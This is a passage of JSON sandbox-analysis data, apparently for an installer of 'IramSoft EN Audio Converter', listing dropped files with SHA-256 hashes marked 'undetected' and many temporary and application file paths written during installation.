:"undetected","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"name":"is-L2DFR.tmp","sha256":"565efa1b0407d221b1e6bc44811f529f98fe4d9ffb6e756b56b9525acb87ce28","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"name":"is-L2EOF.tmp","sha256":"8c32b39bece32598853babe9e7a8d0423426d20e8be2a03e3d63ed7268f6439c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"name":"is-M7G6S.tmp","sha256":"d075cbfb1b43dadcdac8cf572c18689134e59319fbe425e82c7bb7c4e7d5948c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"name":"is-OOI25.tmp","sha256":"aa321eddbfd0b4e0a0f7d21c6f6d39d35e793e3695f480c95fb0cf139a41f4e7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"name":"is-G0E21.tmp","sha256":"9e0220511d4ebdb014cc17ecb8319d57e3b0fea09681a80d8084aa8647196582","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"name":"is-01TRL.tmp","sha256":"565689a09c8fade28a711d0603d73b92194cbb35f94b9646079966e3289a0710","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"name":"is-0DMO8.tmp","sha256":"7c7434fdc0abec43569c82ec9533c1b1ee4c6f2f6704e3becf72d79e7e950b69","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"name":"DISMHOST.EXE.6A8B68C6.bin","sha256":"ecb636b278261eade712e68ec7d805d20e802628248da872d3d0ada1432ffc11","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]}],"files_written":[{"path":"%TEMP%\\is-7FJGB.tmp\\file.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%TEMP%\\is-COCHO.tmp\\_isetup\\_RegDLL.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%TEMP%\\is-COCHO.tmp\\_isetup\\_setup64.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%TEMP%\\is-COCHO.tmp\\_isetup\\_shfoldr.dll","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%TEMP%\\is-COCHO.tmp\\_isetup\\_iscrypt.dll","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\unins000.dat","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-OVA8F.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\Lang\\is-IV91A.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-B0U1P.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-KUMP9.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-NS8P1.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-1DQB3.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-MLG5J.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-UJRBF.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-ECHF3.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-DQV0E.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-G95JB.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-PISV5.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-H69SE.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-IVAQ3.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-M7P6N.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-GAPV1.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-9N1MP.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-1C44R.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-QC2VF.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-FP29R.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-J90NT.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-V6A1E.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-77M1C.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-VHDIC.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-A9KTH.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-26Q4J.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-83UK6.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-82GVB.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-1109E.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-5FMN3.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-RC03K.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-C7LBH.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-LA71B.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-46CLL.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-UFIVE.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-3ND5L.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-ASTF1.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-B2PH1.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-BF2RD.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-BVAGG.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-LNM07.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-Q3HE1.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-70CF9.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-CSL2Q.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-7RF6M.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-NN55A.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-6SRMP.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-N2079.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-U81O5.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-VA83M.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-089HL.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-8Q0SO.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-G9EED.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-SAM9T.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-L0Q3M.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-FN3LT.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-D6C75.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-BFQCM.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-07QKK.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-402PG.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-QVM46.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-3NJKQ.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-8JVG6.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-39S2A.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-IGPB7.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-G8RV0.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-8S264.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-OE6V2.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-S1360.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-DADS0.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-5AVA7.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-5FAIH.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-NMF2B.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-0VAGJ.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-ECKK6.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-DOJJE.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\Lang\\is-5OKHT.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\Lang\\is-HNVLH.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\Lang\\is-N3UVQ.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\Lang\\is-5CACI.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\Lang\\is-9LLAH.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\Microsoft.VC90.CRT\\is-48DNH.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\Microsoft.VC90.CRT\\is-FPOCR.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\Microsoft.VC90.CRT\\is-JE8SK.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\Microsoft.VC90.CRT\\is-BNB5S.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\pf\\common audio\\is-HJDNC.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\pf\\common audio\\is-RKLV0.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\pf\\common audio\\is-SRGMD.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\pf\\common audio\\is-4PM1P.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\pf\\common audio\\is-FQN9P.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\pf\\common audio\\is-1A5U1.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\pf\\common audio\\is-KV10L.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\pf\\common audio\\is-7I9VT.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\pf\\common audio\\is-E46NG.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\pf\\common audio\\is-TODLN.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\pf\\common audio\\is-PJCM2.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\pf\\common audio\\is-2OT62.tmp","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"path":"%TEMP%\\is-NT8J6.tmp\\4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%TEMP%\\is-SAGCP.tmp\\_isetup\\_RegDLL.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%TEMP%\\is-SAGCP.tmp\\_isetup\\_shfoldr.dll","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%TEMP%\\is-SAGCP.tmp\\_isetup\\_iscrypt.dll","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-73UJS.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\Lang\\is-4KSFG.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-H2BIV.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-I302G.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-GUR7G.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-C4IKL.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-01TRL.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-F5CP0.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-9CHEU.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-78JCU.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-16PK2.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-RGFE0.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-ASLUV.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-FRU03.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-ONJ2T.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-J4539.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-S8I0B.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-5TOPT.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-KK22V.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-QHSUI.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-559FP.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-SCFA4.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-ARO30.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-BU69K.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-TB0U2.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-B9G4E.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-I1M5M.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-82UI6.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-G13FT.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-6MB0M.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-HT31S.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-V2VA1.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-KV8U2.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-1QEQI.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-H7128.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-BUC6S.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-8JRLA.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-E27HQ.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-EL45I.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-6O12G.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-KUUMD.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-D6SA7.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-Q17UJ.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-ORVQK.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-4IJM2.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-MFDBH.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-BE5K2.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-6MUH1.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\is-180T2.tmp","sources":[{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"path":"%LOCALAPPDATA%\\IramSoft\\EN Audio 